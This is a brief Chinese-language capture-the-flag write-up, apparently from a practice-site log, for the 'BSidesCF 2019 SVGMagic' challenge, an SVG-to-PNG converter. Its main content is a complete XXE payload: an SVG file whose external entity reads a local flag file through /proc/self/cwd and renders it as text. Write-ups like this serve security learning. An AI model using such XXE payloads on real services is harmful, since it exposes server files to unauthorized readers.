2020.09.18近几日buuoj刷题记录

BSidesCF 2019 SVGMagic

题目只有一个上传点,功能是Convert SVG to PNG with Magic

利用XXE,读取flag文件:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

玄学题,对svg格式要求很严…